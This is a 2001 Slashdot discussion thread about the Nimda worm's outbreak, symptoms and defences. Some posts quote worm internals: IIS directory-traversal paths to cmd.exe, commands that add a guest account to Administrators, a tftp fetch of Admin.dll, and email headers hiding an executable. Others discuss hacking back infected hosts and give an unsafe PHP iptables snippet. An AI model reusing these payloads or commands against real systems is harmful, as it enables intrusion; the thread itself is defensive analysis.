    replication_sub_table_v12_220010913_passdrowscurre nt20010912_passdrowscurrentsenthilsqlreplication_2 0010807sql replicationmail.k2services.com.20010806_passdrowsc urrent


    Now this subject isn't exactly meaningless, but it certianly is suspicious.
    1. Re:Strange Emails by Midnight+Ryder · · Score: 2

      One I got had the subject "ware\Microsoft\Windo,b4 ü4desktopdesktop". It looks like it (the virus) has a pointer error and their subject isn't what they were expecting it to be.


      That, or it just grabs something at almost random and tosses it out there. I've had one today that says "desktopdesktopdesktopdesktopdesktop..." etc.


      --

      Davis Ray Sickmon, Jr - looking for something to read? Check out my three free novels at MidnightRyder.org

  65. Re:Corporate ought to be securing the box better.. by Svartalf · · Score: 3, Insightful

    I'm not Windows bashing- I'm pointing out something that is a real problem.

    1) Linux/UNIX is not invulnerable, but it's been years since the Morris Worm. We're seeing a spate of this sort of stuff under NT- why? Is it because of sloppy admin work, lack of overall security in the design of Windows, or both?

    2) If you can't apply security patches because it'll break your machine, then maybe there IS a problem with the OS.

    --
    I am not merely a "consumer" or a "taxpayer". I am a Citizen of the State of Texas
  66. internet traffic report by abaptist · · Score: 2, Interesting

    If you want to see how bad this has become, look at the current internet traffic report. Internet traffic appears to have come to a halt. It can't really be as bad as it looks there (since I can still get through :), but this corresponds to the time I started seeing the attack in my server logs.

  67. Been done by macdaddy · · Score: 2

    I remember reading something about someone doing this back when CodeRed II came out. He had a simple CGI to submit a shutdown command to the inquiring machine. Cool. :)

    1. Re:Been done by Syberghost · · Score: 2

      I remember reading something about someone doing this back when CodeRed II came out. He had a simple CGI to submit a shutdown command to the inquiring machine. Cool. :)

      That's the old version of the DasBistro script. You can get it here.

    2. Re:Been done by ncc74656 · · Score: 2
      I remember reading something about someone doing this back when CodeRed II came out. He had a simple CGI to submit a shutdown command to the inquiring machine. Cool. :)
      <shameless_plug>
      It's SSI and not CGI, and it only generates a pop-up (shutting down a host, while admittedly more useful, has some potential legal issues attached to it), but I have something similar here. I also have a shell script that runs down a list of infected hosts (yanked from a MySQL database, though you could modify it for a flat-file Apache log with judicious use of grep, sed, and/or awk) and sends a pop-up to those hosts.
      </shameless_plug>

      I also have running totals of Code Red hits and of this new attack (the numbers for the Unicode vulnerability are pretty shocking by comparison).

      --
      20 January 2017: the End of an Error.
    3. Re:Been done by Telek · · Score: 2

      except it didn't work.

      at least it never did when I tried it.

      because the IIS machine runs scripts as IUSR_ which is a member of the guests group only.

      The exploits actually upload code into the memory area of IIS, thus running as whatever user IIS is running as.

      --

      If God gave us curiosity
    4. Re:Been done by ncc74656 · · Score: 2
      are you counting each of the attacks seperatly or are you counting each group of attacks as 1 attack?
      Each counter is generated by a different MySQL query. The Code Red counter pulls every request for /default.ida; that was the only request that it tries to make. The Nimda counter pulls every request that includes cmd.exe and that happened since this morning. Since Nimda includes some other requests, my counter is probably understating the amount of traffic I'm getting. I need to look at the other requests that Nimda makes and add them to the query. I'd fix it now, but my system must be taking a pounding right now. I was able to log in, but when you enter a command, you don't even see it echoed back for maybe half a minute or so. Even a simple ls takes a minute or two to send its results out...my cable modem might as well be a 300-bps acoustic coupler, as slow as it's going. Hell, the acoustic coupler would probably be faster right now. :-( This damn worm has brought the entire Internet to a crawl...both /. and MSNBC are hella sluggish right now (MSNBC more so than /.).
      --
      20 January 2017: the End of an Error.
  68. Re:Mail sent to me. by Matts · · Score: 2

    He's almost certainly *not* the originator.

    This is not just a Code-Red like virus, it's also a mass mailer (like SirCam). This is going to be bad for the unprotected, and worse for the protected, because we suffer the clawback after effects.

    --

    Matt. Want XML + Apache + Stylesheets? Get AxKit.
  69. Re:Mail servers down by dead_penguin · · Score: 2

    18/Sep/2001:06:16:18 -0700 here in Vancouver.

    --

    It's only software!
  70. So what will ISP's do? by Mr_Silver · · Score: 2, Interesting
    The ISP's are in an interesting situation. As far as I can see it, they have several options for now and the future:
    1. Turn off any infected machine
    2. Prevent port 80 access for everyone
    3. Ignore it
    1 is possible but it going to be a fair bit of work, 2 is going to peeve off a number of people but will solve the problem and 3 will just allow their whole network to grind to a halt.

    Don't know about everyone else but if this keeps up (with this virus and the 100 just around the door) we won't see many ISP's allowing web servers to run at all, ever.

    (As a subnote, my bosses cable modem company, NTL, specifically forbid running a server on your own machines - although, as yet, they don't activily police it)

    --
    Avantslash - View Slashdot cleanly on your mobile phone.
    1. Re:So what will ISP's do? by J'raxis · · Score: 2

      #1 is simple. Set up a machine to collect these requests. Grab all the IPs (the ISPs know who owns what, obviously), send an email to the people who own them to fix their mess. If, x days later, the IP is still hitting the honeypot machine, suspend their account.

      /var/log/httpd/access_log at 388k and climbing.

    2. Re:So what will ISP's do? by tswinzig · · Score: 2

      Don't know about everyone else but if this keeps up (with this virus and the 100 just around the door) we won't see many ISP's allowing web servers to run at all, ever.

      Assuming you mean they won't allow port 80 traffic, you'll just see an increase in URL's like this:

      http://visit.mysite.com:8080/

      The only way to really block web servers is to setup firewalls that can detect HTTP requests on any port, and block them. However, if they really went that far, they'd soon find themselves without a lot of customers. Obviously they need to go a different route.

      --

      "And like that ... he's gone."
  71. Once again.. by Dimensio · · Score: 2, Informative

    Did a file search on my computer and found 'admin.dll' in two places. One was in c:\windows\system32\dllcache and the other was in C:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_adm

    I do have IIS installed because I have done some web development (it's for my company, I'd rather they use Apache or somesuch, but...) I've also seen the 'alerts' and they state that the wormed 'admin.dll' is a 56k file -- mine is only 20k. What worries me is that if I delete it from either location it reappears within seconds from apparently nowhere. Anyone else have info regarding the filesize or the persistance of admin.dll?

    I don't have any .eml files or readme.exe, and I have patched against the Code Red exploits.

    1. Re:Once again.. by SuiteSisterMary · · Score: 2

      Windows file protection. And are you so sure that those files aren't supposed to be there? The machine I'm on has them, with last modified dates of May 2001, which, I believe, was Windows 2000 SP2 timeframe.

      --
      Vintage computer games and RPG books available. Email me if you're interested.
  72. Maybe the white-hat CR2 anti-worm was a good idea by Swordfish · · Score: 2
    All things considered, maybe those who argued against sending out an anti-worm to automatically patch or otherwise neutralise the remaining 40,000 Code Red II infected machines were wrong.

    The fine points of Internet ethics seem a little insignificant now compared to the harm that this new infection is doing. What next?

    My estimate of intensity of this one is that it is costing me about 10 times the bytes per second of CR2. (We pay for our bytes in Australia!)

  73. Hits from... by macdaddy · · Score: 2
    My hits have been from...

    208.
    207.
    65.
    63.
    For the record, I'm in 208.

  74. Watch the Action From Here - public logfile. by BigBlockMopar · · Score: 2

    I would forward this to the Help Desk people here, but then they'd know I was reading /.

    Just e-mail them this link: www.glowingplate.com/ida.shtml. Tell them that a friend sent it to you.

    The link goes to a page offering a real-time view of the new worm attacking my machine.

    --
    Fire and Meat. Yummy.
    1. Re:Watch the Action From Here - public logfile. by BigBlockMopar · · Score: 2
      Do you have a page where we can watch a real-time view of your site getting slashdotted?

      Heh. I should do that, but I think it could become a vicious circle.

      The best I can offer right now is that you go to my main page (www.glowingplate.com/welcome.shtml) and look at the uptime at the bottom of the page. The server load is currently running about 1.50; most CPU cycles are still going to SETI@Home or to the script which sniffs out the worm attacks.

      --
      Fire and Meat. Yummy.
  75. JetDirect print servers affected?? by ka9dgx · · Score: 2
    Twice this morning I've had to power cycle an HP JetDirect, something I've NEVER had to do before... is this related, or just coincidence?

    --Mike--

    1. Re:JetDirect print servers affected?? by Peter+H.S. · · Score: 3, Informative

      Twice this morning I've had to power cycle an HP JetDirect, something I've NEVER had to do before... is this related, or just coincidence?
      An awfull amount of equipment with embedded webservers, was affected by Code Red*, including (some/all?) HP JetDirect printservers, but also all kind of managed switches, and routers.
      Usually because a small memory leak would occur for every GET, enough GETs in a row, and the system will lockup, until powercycled.
      Of course, other problems may lay behind the lockups of your equipment. But since the HP JetDirect in question, probably is on the LAN side, you may have infected machines behind your firewall.

    2. Re:JetDirect print servers affected?? by ka9dgx · · Score: 2
      "But since the HP JetDirect in question, probably is on the LAN side, you may have infected machines behind your firewall."

      I don't believe in firewalls, but this might change my mind.
      --Mike--

    3. Re:JetDirect print servers affected?? by elefantstn · · Score: 2
      I don't believe in firewalls


      Explains why your printer is getting hit by an internet worm.

      --
      If it ain't broke, you need more software.
    4. Re:JetDirect print servers affected?? by Cramer · · Score: 2

      I'm seeing a number of Netopia (R-Series) routers completely freaked out by either all the traffic or too much junk (read: any) sent to the "SmartWeb" server. Personally, I always turn off any f***ing web server on my network hardware -- esp. netopias... they tend to crash using the web interface *correctly*.

  76. Re:Does it affect IE 6? by WildBeast · · Score: 2, Informative

    IE6 tried opening it with Windows Media Player and then it said that the format wasn't recognized. So my guess is that it's not vulnerable.

  77. 13:26 London time. Damn, this thing is fast. by TDScott · · Score: 2

    ...but then, as it's trying everything, it would be...

  78. Re:Corporate ought to be securing the box better.. by elefantstn · · Score: 2
    Remember the Internet Worm? (I don't, I'm too young, but still).

    Exactly. I'm too young too. But I'm not too young to remember Melissa, Kournikova, Code Red, et al. It's constant. It happens all the damn time. And I'm fed up with it.

    --
    If it ain't broke, you need more software.
  79. This is the EML file headers... by TDScott · · Score: 2, Informative

    ...and it's actually quite clever if you look closely...

    MIME-Version: 1.0
    Content-Type: multipart/related;
    type="multipart/alternative";
    boundary="====_ABC1234567890DEF_===="
    X-Priority: 3
    X-MSMail-Priority: Normal
    X-Unsent: 1

    --====_ABC1234567890DEF_====
    Content-Type: multipart/alternative;
    boundary="====_ABC0987654321DEF_===="

    --====_ABC0987654321DEF_====
    Content-Type: text/html;
    charset="iso-8859-1"
    Content-Transfer-Encoding: quoted-printable

    --====_ABC0987654321DEF_====--

    --====_ABC1234567890DEF_====
    Content-Type: audio/x-wav;
    name="readme.exe"
    Content-Transfer-Encoding: base64
    Content-ID:

    1. Re:This is the EML file headers... by NutscrapeSucks · · Score: 2
      --
      Whenever I hear the word 'Innovation', I reach for my pistol.
  80. Re:unmap your EML file association by Lxy · · Score: 4, Informative

    Easier method:
    Create a text file and name it something like eml.reg. Right click, select Edit. Paste the following lines into the file:

    REGEDIT4

    [HKEY_CLASSES_ROOT\.eml]
    @="Microsoft Internet Mail Message"
    "Content Type"="text/plain"

    And save the file. Double click and it will add itself to the registry. This will re-associate the .eml extension with Notepad. NOTE: this may affect Outlook since the .eml is an extension used for mail stores. Use at your own risk.

    --

    There is no reasonable defense against an idiot with an agenda
    :wq
  81. lemme sing you a song... by raindown · · Score: 2, Funny

    * to the theme of Joan Jett's "I love rock and roll" *

    I LOVE IIS, PUT ANOTHER WORM IN MY SERVER BABY!

  82. 4.3.x.x by Darth+Maul · · Score: 2

    I'm on Earthlink (4.3.x.x) and have 732 different IP's logged trying to hit me using this new technique. Ouch.

    Looks like it's spreading.

    --
    --- witty signature
  83. Run-down of virus capabilities by gimbo · · Score: 2

    I hope Mo won't mind me forwarding this...

    ----- Forwarded message from Mo McKinlay -----

    From: Mo McKinlay
    Subject: Re: [uknot] Today's Virus
    To: uknot@uk.com
    Date: Tue, 18 Sep 2001 17:18:46 +0100
    X-Virtual-Domain: redirected for markl@ftech.net
    X-Virtual-Domain: redirected for hamster@vom.tm

    On Tue, Sep 18, 2001 at 04:36:11PM +0100, Joel Rowbottom wrote:

    > This seems to be the culprit:
    >
    > Concept Virus(CV) V.5, Copyright(C)2001 R.P.China

    It is.

    It's also known as "w32.nimda.mm". From what I can tell, it's delivered
    by:

    a) visiting an infected site while using vulnerable browser+e-mail
    client
    b) recieving e-mail from infected host
    c) IIS directory traversal exploit (a la codeblue, which I'm informed
    was never seen in the wild)
    d) open SMB/CIFS shares

    It then goes on to:

    * perform *numerous* registry hacks - it seems to alter the nameserver
    setting of the TCP interface.

    * append a small piece of malicious javascript to your default webpage
    so that attack vector (a) happens.

    * alter the security on your default shares

    * alter the performance logging configuration

    * attempt to propagate itself to addresses in your /24, then /16.

    * attempt to propagate itself via e-mail

    * attempt to propagate itself to open SMB/CIFS shares

    * I've had reports that uses tftp to grab something.. can't ascertain
    what/from where, though. this could be confusion.

    * it references winzip32.exe for some purpose (could support the
    previous report)

    * alters your startup parameters to ensure it's re-run at boot time.

    That's what I can gather from the various reports, and from scanning the
    readme.exe.

    Mo.

    --
    Mo McKinlay mmckinlay@gnu.org http://ekto.org
    "but every time you call a function a object orientated fairy dies"
    -- Richard Palmer, spod.
    GnuPG/PGP Key: pub 1024D/76A275F9 2000-07-22

    ----- End forwarded message -----

  84. Re:Time for a class action lawsuit against Microso by weez75 · · Score: 3, Insightful

    Not only has this a result of negligence but also a result of false claims that their products are just as secure as Unix, just a robust as Unix, and just as fast as Unix. They've mislead consumers regarding by funding biased comparisons, flawed white papers, and paid-customer endorsements. I believe this is nothing short of fraud.

    --
    Of course we torture people, we need the information --Gen. Pinochet
  85. internettraficreport.com by Salsaman · · Score: 2

    I just checked www.internnettraficreport.com. All their indices are down at zero. Very odd.

  86. Internet Explorer 5.0, 5.5, 6.0? by macpeep · · Score: 2

    Does anyone have more information about the IE5 part of this? How does it spread? What exactly spreads? How do you find out if you are infected and does this also work for IE5.5 and IE6 or is it only IE5.0x?

    1. Re:Internet Explorer 5.0, 5.5, 6.0? by ToLu+the+Happy+Furby · · Score: 2

      Does anyone have more information about the IE5 part of this? How does it spread? What exactly spreads? How do you find out if you are infected and does this also work for IE5.5 and IE6 or is it only IE5.0x?

      It spreads according to a hole in IE 5 which automatically opens and executes .eml files. More information here.

      I tried the demonstration exploit on the above page using IE6, and it gave me a dialog box confirming that I wanted to open the file. (Except it was already a .tmp file in my temp directory at that point, not a .eml file.) So presumably IE6 at least asks your permission first. Also, when I decided to "open" the file it opened the file in Word, instead of running it. (apparently)

      So IE6 appears to be safe, at least from the demo exploit coded by Guninski. Dunno about IE 5.5.

  87. National Infrastructure Protection Center warning by Cy+Guy · · Score: 2

    I checked one of the IPs and it said 'F*ck USA Government,

    Aparently that was enough to get the attention of the FBI during the heightened attentions to security. I really pity whoever launched this thing if they aren't affiliated with Bin Laden et al, since any threat to the US government will now be considered an act of wart and will be dealt with accordingly.

    The linked article notes that NIPC was anticipating an attack from a group called 'Dispatchers' to hit sometime today.

  88. More symptoms by msheppard · · Score: 2

    On a system I have that got infected it places an EML file in the startup folder, so when you startup it launches Outlook Express and starts all over again.

    --
    Krispy Cream is people
  89. Re:Mail servers down by RollingThunder · · Score: 2

    Unless you can actually find a timestamp string inside, I suspect it's just that - a coincidence.

    And for it to reach fullbore speed, like it is, it has likely been spreading for a couple hours before this from the time of initial infection. It takes a while for a new attack to get so many hosts to make it stand out from the background noise like this (overlooking the academic exercise done a couple weeks ago where it was figured the entire 'net could be compromised inside an hour).

  90. Some of the strings in readme.exe by ptomblin · · Score: 2

    I mimedecoded the readme.eml that one of the infected web pages was trying to send me, and found the following strings in the executable:

    Concept Virus(CV) V.5, Copyright(C)2001 R.P.China

    What's that? A script kiddie virus kit?

    SYSTEM\CurrentControlSet\Services\lanmanserver\S ha res\Security
    share c$=c:\
    user guest ""
    localgroup Administrators guest /add
    localgroup Guests guest /add
    user guest /active
    open
    user guest /add

    I wouldn't know a Windows script if it came up and hit me in the face, but I'll bet dollars to donuts that that's opening up a file share on your entire C drive.

    /scripts
    /MSADC
    /scripts/..%255c..
    /_vti_bin/..%255c../..%255c../..%255c..
    /_mem_bin/..%255c../..%255c../..%255c..
    /msadc/..%255c../..%255c../..%255c/..%c1%1c../.. %c 1%1c../..%c1%1c..
    /scripts/..%c1%1c..
    /scripts/..%c0%2f..
    /scripts/..%c0%af..
    /scripts/..%c1%9c..
    /scripts/..%%35%63..
    /scripts/..%%35c..
    /scripts/..%25%35%63..
    /scripts/..%252f..
    /root.exe?/c+
    /winnt/system32/cmd.exe?/c+
    net%%20use%%20\\%s\ipc$%%20""%%20/user:"guest"
    tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20

    This looks like the list of exploits it tries, and the second last one looks like it's trying to exploit shares.

    QUIT
    Subject:
    From: <
    DATA
    RCPT TO: <
    MAIL FROM: <
    HELO

    Looks like an SMTP connection script, so I guess it does spread by email as well.

    --
    The next Cmdr Taco duplicate will be ready soon, but subscribers can beat the rush and see it early!
  91. Be Careful What You Wish For! by geomcbay · · Score: 2

    Be careful what you wish for...

    While e-mail attachments are a particular worry for the Microsoft platform, worms can exist for any platform with security holes -- which is essentially all of them. There have been UNIX worms in the past and there will be UNIX worms in the future.

    The major drawback to UNIX worms in the past wasn't that UNIX was super-secure, as some Slashdotters would have you believe, its that 'UNIX' just represented so many different platforms on different processors that a single do-it-all worm would be very difficult to write. This is starting to change as Linux/x86 is adopted more and more...

    Anyway, my point is, if people start suing Microsoft over this, Linux distro companies and even potentially individual Linux programmers could also be at risk. If Microsoft's EULA doesn't protect it, why would the no warranty clause of the GPL protect GPL programmers? In essence the licenses are the same in that regard.

    Such a lawsuit would be annoying to Microsoft... to Linux companies and individial GPL programmers it would be devestating.

    1. Re:Be Careful What You Wish For! by denshi · · Score: 2

      past Unix holes, particularly the Great Worm, relied on buffer overflows that were much more prevalent back then, before everyone started using bounded I/O. Perils of writing everything in C. And an interesting thing about The Great Worm was that it only ran on one architecture -- Sun3 on the VAX, if I remember correctly. Of course, modern rootkits compile source on the machine, so one could expect a new Great Worm to do the same, and be cross-platform. OTOH, back in the day of the Great Worm, many more processes ran in priviledged accounts than now (most run as 'nobody'), so there are hopefully less blatant openings. OTTH, who am I kidding? Modern security sucks. Bring on the lawsuits.

    2. Re:Be Careful What You Wish For! by fmaxwell · · Score: 3, Insightful

      Anyway, my point is, if people start suing Microsoft over this, Linux distro companies and even potentially individual Linux programmers could also be at risk.

      While I am aware that there are, and always have been, exploits for the various Unix systems out there, any damages awarded in a lawsuit would be related to the harm done by the exploit. So what if a worm got into ten end-user FreeBSD 4.3 systems used on Earthlink? The collateral damage would be minimal as they could not generate enough traffic to take Earthlink to its knees.

      That is not the case when there is a bug in 2000 and NT. Microsoft is well aware of the potential for damage if there are tens of thousands of systems ready for an exploit -- especially when defective components like IIS are installed by default regardless of whether the user needs them or not.

      I have been a professional software developer since 1980. I am sick and tired of the attitude that software, unlike every other product produced by man, should be exempt from lawsuits, scrutiny, etc. That attitude is precisely why Microsoft is spending time writing bad video editors and copy protection schemes rather than making their OS solid and bug-free.

    3. Re:Be Careful What You Wish For! by Tom7 · · Score: 2



      Well, Microsoft actually is working on language technologies which should make their stuff more secure. Expect to see that in a few generations, their stuff, written in C# or SML.NET or whatever, is totally buffer-overflow free.

      It's very disappointing to me that the Linux crowd has settled on C, which, as far as I can tell, is the worst language for writing secure apps. (I suppose something with similar properties but less mature compilers might be worse, actually.) I think Linux and friends are going to be left behind as far as stability and security as programs get too big to be verified via the eyeball method.

    4. Re:Be Careful What You Wish For! by Ian+Bicking · · Score: 2
      Well, sh is more insecure than C, IMHO. Or, rather, it's a different class of insecurities relating to quoting and multiple passes of the parser.

      More languages should make it easier to execute external programs without invoking sh. This affects quite a lot of CGI scripts. OTOH, none of these CGI scripts are ever likely to gain a significant portion of the market ('cause there's just so damn many of them), so attacks would be much more limited.

    5. Re:Be Careful What You Wish For! by Malcontent · · Score: 2

      I am looking forward to the day when I see an MS operating system written in C# or SML.NET (whatever that is). I bet MS office written in C# will be screamer.

      --

      War is necrophilia.

    6. Re:Be Careful What You Wish For! by Tom7 · · Score: 2


      Well, it's clear you don't know what you're talking about, but I might as well point out that there's no reason such high-level safe languages need to be inefficient. In fact, a number of SML implementations are just as fast as C (and much faster than Java and friends). And yet, programs written in SML are 100% buffer-overflow free (other nice features of the language aside!)

      Even with slower implementations, the speed of a package like Office is pretty immaterial given the speed at which hardware improves; we were running that on P-133s with 32mb just fine.

      MSR has a project called "Vault" which is used to machine certify device drivers (written in a low-level language) for certain safety properties. This is the kind of thing I'm talking about; the linux folks seem to think that "lots" of eyeballs will do the trick... (if indeed we believe that "lots" of people work to improve Linux).

    7. Re:Be Careful What You Wish For! by Malcontent · · Score: 2

      Wow nice series of non sequiters. Were you half asleep when you wrote them or were you just high?

      No wonder MS software is so shitty when their (supposedly) best and brightest can't make a point to save his life.

      Just what exactly is your point? Here is what I get.

      1) The less people who look at the code the better the code is.

      2) Higher level languages are better then lower level languages.

      3) All microsoft products are (will be ) written in higher level languages including the operating system itself and that's why they are (will be) better. BTW is there some microsoft school of speaking in future tense? It seems like every MS employee always talks about how something will be so great when it finally comes out and of course when the thing pops out of the oven half baked they start talking about the next big thing.

      4) All linux software is written in lower level languages which is why they suck.

      5) Device drivers are written in lower languages. In a thing called the vault (what the fuck does this have anything to do with anything?).

      6) Efficiency does not matter because the hardware is getting faster.

      Did I get all that right?

      --

      War is necrophilia.

    8. Re:Be Careful What You Wish For! by Tom7 · · Score: 2


      Well, I guess you're mad, but I'll at least explain myself again if I wasn't clear.

      #1, of course not.

      #2, probably yes.

      #3, I don't know about this -- but I do know that they have hired a lot of smart language designers, because they recognize that current software development practices don't scale. (Do you think they don't know their software is buggy and insecure?) The linux community is doing no such thing, as far as I know; in fact, they are really adamant about using C and Perl.

      #4, Well, almost all software is written in C or C++ ("low level languages"), and almost all software sucks.

      #5, The project is called "Vault" if you want to look it up.

      #6, Efficiency matters, but not the kind of efficiency that C provides. Efficiency in general definitely matters *less* since hardwarwe is getting faster.

      By the way, I have nothing to do with Microsoft. I want to see Free software succeed. I'm just worried that the C-programming and lots-of-eyeballs method won't scale. I don't expect you to believe me, but I hope some people learn the same lessons I have and then have the patience to convince people like you. =)

    9. Re:Be Careful What You Wish For! by Malcontent · · Score: 2

      Count the number of new languages coming out every year that are open source and then count the number of new languages coming out of MS every year. Tell me which one is greater. C# is nothing but an answer to java and hardly represents some sort of a breakthrough. Just another virtual machine that's probably slower then rebol and runs only on one platform.

      I honestly don't know where you get that there is no programing language research in the open source world or that every single open source project is written in C. I especially don't see your point regarding MS. What major (or minor) software from MS is written in a higher level language? I honestly can't think of one.

      --

      War is necrophilia.

  92. Deny your Subnet by Phrogz · · Score: 2

    If you aren't certain that your WinNT box is safe, deny your entire subnet for the time being.

    Start ISM/MMC. Expand your computer's view. Right click on your Default Web Site. Choose Properties.

    Click on the "Directory Security" tab.
    Click the "Edit" button for "IP Addresses and domain name restrictions".

    With "By Default, Grant All Computers Access" checked, click the Add... button.

    Set the Type to "Group of Computers".
    For the Network ID enter the first byte of *your* IP address and the rest 0s (e.g. my IP is 216.27.140.214, so I put in 216.0.0.0).
    For the subnet mask, enter 255.0.0.0

    Click OK. Your Website will now deny access to anyone in your class A subnet, where this worm is attacking. (How is it spreading across subnets?)

  93. Correction - it started here at US-EDT 09:18 by Swordfish · · Score: 2
    On looking more closely at my logs for my 203.* servers, it's clear that the start was at 09:18 EDT, US time. The 203.* space consists of about 25% Australian hosts, and the rest are in Korea, Taiwan, China, Hong Kong etc. etc.

    I still think that the timing cannot be coincidental.

    By the way, what gives with the "offtopic" comment. Someone must be using a different dictionary to me, I guess.

  94. Re:National Infrastructure Protection Center warni by PD · · Score: 2

    All threats, or just viruses that contain a threat? I would hate to think that saying something against the government would be considered an act of war.

  95. Re:You could just take my cable company's approach by MadAhab · · Score: 2

    I agree, but that doesn't mean it ain't bullshit that the big media companies are trying to shut down the peer-to-peer nature of the internet... and if you think that isn't about keeping you glued to the tube, they've already eaten your brain.

    --
    Expanding a vast wasteland since 1996.
  96. Why does IIS run by default? by gizmo_mathboy · · Score: 2

    I think the biggest cause for the spread of it in a corporate environment is that IIS is turned on by default.

    Why does MS (and IT departments) have IIS running by default?

    Everyone running an OS by now should run a minimum of services/applications by default.

    Live and learn I suppose.

    1. Re:Why does IIS run by default? by gizmo_mathboy · · Score: 2

      I had a very IIS like service running on my box at work. I just happened to notice that my event log fill up with warnings about 404.htm not being found.

      I promptly started looking for W3SVC and its ilk and stopped them.

      Very interesting that IT departments don't at least know better to shutdown non-essential (whom needs a web server or web publishing services) running on their box?

  97. Maybe Fix it temporarily by msheppard · · Score: 2

    Here's what I did to stop it so far:
    1. Rename the outlookexpress executeable
    2. Delete auto-run EML file type thing
    3. Delete README.EXE
    4. Delete *.EML
    5. Make sure there is no *.EML in your startup
    6. Reboot
    7. Install Linux 8^)

    --
    Krispy Cream is people
  98. Hackback? by Baloo+Ursidae · · Score: 2, Interesting

    If anybody knows what URL executes commands on the compromised server or a relatively open hackback that can be scripted looking at apache logs, it would be greatly appreciated.

    Before someone gets all uppity about the morality of hackbacks, we're talking harmless start default browser and get pointed at a page telling you how to fix it. This was extraordinarllily effective at getting people patched when code red went about: 5000 hits on day 1 to the patch page, 72 on day 2, and it stayed relatively static after that.

    --
    Help us build a better map!
  99. Riched20.dll by istartedi · · Score: 2

    Run system file checker after you get this. Riched20.dll may be corrupted. My headers looked like this:

    Received: by mail (mbox 7406.comments)
    (with Cubic Circle's cucipop (v1.31 1998/05/13) Tue Sep 18 10:05:38 2001)
    X-From_: kuzo01@hotmail.com Tue Sep 18 09:48:25 2001
    Return-Path: <kuzo01@hotmail.com>
    Delivered-To: 7406.comments@mail.ahnet.net
    Received: from NIGHTCRAWLER (unknown [198.31.205.12])
    by mail.ahnet.net (Postfix) with SMTP id 5810065B24
    for <comments@vrml3d.com.>; Tue, 18 Sep 2001 07:34:22 -0700 (PDT)
    From: <kuzo01@hotmail.com>
    Subject: ware\Microsoft\WindoJ..b4 á.samplesamplesampledesktopjeditcvssamplemakefiled esktopdesktopsamplemakefiledesktopjeditcvsmakefile jeditcvsmakefiledesktopdesktopjeditcvsmakefilesamp lejeditcvsmakefilemakefiledesktopjeditcvssamplemak efilesamplesamplejeditcvsdesktmail-incoming2.ahnet .net.jeditcvs
    MIME-Version: 1.0
    Content-Type: multipart/related;
    type="multipart/alternative";
    boundary="====_ABC1234567890DEF_===="
    X-Priority: 3
    X-MSMail-Priority: Normal
    X-Unsent: 1
    Message-Id: <20010918143422.5810065B24@mail.ahnet.net>
    Date: Tue, 18 Sep 2001 07:34:22 -0700 (PDT)

    --====_ABC1234567890DEF_====
    Content-Type: multipart/alternative;
    boundary="====_ABC0987654321DEF_===="

    --====_ABC0987654321DEF_====
    Content-Type: text/html;
    charset="iso-8859-1"
    Content-Transfer-Encoding: quoted-printable

    <HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
    <iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
    </iframe></BODY></HTML>
    --====_ABC0987654321DEF_====--

    --====_ABC1234567890DEF_====
    Content-Type: audio/x-wav;
    name="readme.exe"
    Content-Transfer-Encoding: base64
    Content-ID: <EA4DMGBP9p>

    TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAA AA AAAAAAAAAAAAAAAAAAAAAAAAAA

    [the remainder of the message is base64 encoded, also please note that some of the characters in the Subject line are unprintable and were replaced with '.' when pasted]

    I was alerted to the problem by a dialog box that quickly disappeared, and a lot of extra hard drive activity. I crash-booted my box, and when it came back up there were no extra processes or files, and the registry checked out but that DLL was corrupted.

    --
    For all intensive purposes, "whom" is no longer a word. That begs the question, "who cares"?
  100. Here's my post to NANOG by davidu · · Score: 2

    Hello,

    Tuesday, September 18, 2001, 11:51:43 AM, you wrote:

    JM> Yes. We are seeing it here bigtime. Does anyone have any apache hacks
    JM> to lessen the impact? One idea: Once a probe is sent, the prober's
    JM> IP# is stored in a hash (perhaps in shared memory or a mmap'd file
    JM> that all children can share) and new connections from that IP are no
    JM> longer accepted.

    Here's a possibility but I need help with one aspect:

    A) create a rule in your apache httpd.conf like this:

    <Location /scripts/root.exe>
    Deny from all
    ErrorDocument 404 http://www.everydns.net/blockip.php
    </Location>

    B) create blockip.php (or use perl or whatever[read: python])
    <?
    $iptables = '/usr/local/sbin/iptables';
    $ip = $REMOTE_ADDR;
    $blockline = $iptables." -A INPUT -s ".$ip." -p all -j DROP;";
    system($blockline);
    ?>

    C) the caveat here is that you need to give the webuser (nobody)
    access to iptables. This can be done in sudo like this:
    nobody ALL=NOBODY: /usr/local/sbin/iptables

    The MAJOR problem is that you have now given your entire web site
    access to iptables. If you have a machine which has no "users" then
    this may be okay for you however for most of us it is not. Do any of
    you have a way to call a perl script directly from the httpd.conf
    entry and perhaps pass the REMOTE_ADDR to it? I know there's a way
    and I'll look for it, but in the meantime -- any ideas?

    Thanks,
    David Ulevitch
    davidu@everydns.net

    --

    # Hack the planet, it's important.
    1. Re:Here's my post to NANOG by mbyte · · Score: 2

      An better idea would be to put the hosts into some sort of logging (mysql, etc), then run a shell script every 5 minutes or so that blocks those hosts

    2. Re:Here's my post to NANOG by kindbud · · Score: 2

      How do you know the worm will follow the redirect to the 404 document? You are aware how ErrorDocument works when it points to an external URL, right?

      --
      Edith Keeler Must Die
    3. Re:Here's my post to NANOG by davidu · · Score: 2

      it does. been tested -- it works.

      here is an apache module which scans and blocks infected hosts:

      Apache-Nimba-0.1.tar.gz

      -dave

      --

      # Hack the planet, it's important.
  101. We got it and it used RealPlayer to lock us out... by NanoGator · · Score: 2, Informative

    We were victims of this virus as well. Only this time what happened was it used RealPlayer to keep respawning itself, causing explorer to crash repeatedly and eventually fill up virtual memory until it crashed.

    This made it problematic to figure out what to do to stop this because I couldn't even do something as simple as look at my system drive. Fortunately, I was able to use Taskmanager.

    If anybody runs into a problem like this, here are a some tips:

    - Explorer is basically hosed using this type of attack. However, Taskmanager (set to always on top) will allow you to perform basic file operations. From Taskmanager, go to 'File/Run' and hit "Browse". When you rightclick on a file/folder you can do things like delete, rename, etc.

    - In this particular case, RealPlayer was being used to cyclicly run itself over and over again, so I renamed the 'Real' folder to 'Real_', thus making Windows think the program's non-existent anymore. This was tricky because the file was sometimes in use, but I was finally able to manage it.

    - I found the 'readme.eml' file on the system drive. I'm still trying to determine how it got there, but it can be prevented from entering there by creating a 'readme.eml' folder, as my coworker recommended. This will prevent a file with that name from being created in there.

    - If you have trouble deleting the files that were being run, check to make sure that they're not 'System Files'. I ran into that problem.

    --
    "Derp de derp."
